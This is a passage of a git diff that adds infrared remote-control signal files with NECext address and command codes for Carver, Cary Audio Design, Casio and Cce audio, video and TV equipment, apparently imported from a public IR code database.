+type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4E 00 00 00 +# +name: 6/16 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4F 00 00 00 +# +name: 7/17 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 50 00 00 00 +# +name: 8/18 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 51 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 53 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 54 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 55 00 00 00 +# +name: 9/19 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 58 00 00 00 +# +name: 10/20 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 59 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5B 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5C 00 00 00 +# +name: VIDEO2/AUX +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5C 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5D 00 00 00 +# +name: ACCD +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir new file mode 100644 index 000000000..34ed38f04 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: REAR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: FRONT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir new file mode 100644 index 000000000..10ebc0156 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: FM/AM_10/0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir new file mode 100644 index 000000000..98344e553 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: VCR_STANDBY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: VCR_CH_V_(PRESET) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir new file mode 100644 index 000000000..3e197d1d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 08 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 09 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 0A 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 40 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 46 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 46 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 47 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 47 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 48 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 49 00 00 00 +# +name: 1/11 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4A 00 00 00 +# +name: 2/12 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4B 00 00 00 +# +name: 3/13 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4C 00 00 00 +# +name: 4/14 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4D 00 00 00 +# +name: 5/15 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4E 00 00 00 +# +name: 6/16 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4F 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 4F 00 00 00 +# +name: 7/17 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 50 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 50 00 00 00 +# +name: 8/18 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 51 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 51 00 00 00 +# +name: 9/19 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 58 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 58 00 00 00 +# +name: 10/20 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 59 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 59 00 00 00 +# +name: ACCD +type: parsed +protocol: NECext +address: 87 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir new file mode 100644 index 000000000..34ed38f04 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: REAR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: FRONT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir new file mode 100644 index 000000000..10ebc0156 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: FM/AM_10/0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir new file mode 100644 index 000000000..487ed0889 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: CLEAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: AMP_VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: AMP_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SRC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: AMP_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 25 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 26 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 27 00 00 00 +# +name: TUBE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: BRIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: AMP_VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: INPUT_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: INPUT_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 33 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 35 00 00 00 +# +name: BALANCE_R +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 38 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3C 00 00 00 +# +name: BALANCE_L +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir new file mode 100644 index 000000000..da402f788 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0A 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0C 00 00 00 +# +name: SUB-TITLE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 10 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 11 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 13 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 14 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 15 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 16 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 17 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 18 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1C 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1D 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1E 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1F 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 20 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 21 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 24 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir new file mode 100644 index 000000000..752766624 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: STEREO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 41 00 00 00 +# +name: AUTO_DETECT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 43 00 00 00 +# +name: PLIIX +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 44 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: CES_7.1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 46 00 00 00 +# +name: AUTO_DECODE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 48 00 00 00 +# +name: NEO_96/24 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 49 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4D 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 4F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 50 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 51 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 54 00 00 00 +# +name: 7.1_A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 55 00 00 00 +# +name: 2XF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 57 00 00 00 +# +name: 7.1_B +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 58 00 00 00 +# +name: LATE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 59 00 00 00 +# +name: 1/_DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5C 00 00 00 +# +name: 4/_CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5D 00 00 00 +# +name: 7/_TV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5E 00 00 00 +# +name: 3/_DVCR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 5F 00 00 00 +# +name: SUR._MODE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 60 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 61 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 62 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 63 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 64 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 65 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 66 00 00 00 +# +name: 6/_TUNER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 70 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 71 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 72 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 73 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 74 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 75 00 00 00 +# +name: 9/_DIRECT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 78 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 79 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7C 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir new file mode 100644 index 000000000..c4d2e55eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 1C 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir new file mode 100644 index 000000000..67ac0c426 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: p.skip +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: auto_image +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: p.ch +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: dsc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir new file mode 100644 index 000000000..073d5d8d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: p.skip +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: auto_image +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: out +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: p.ch +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: sap +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: dsc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir new file mode 100644 index 000000000..41ef91417 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 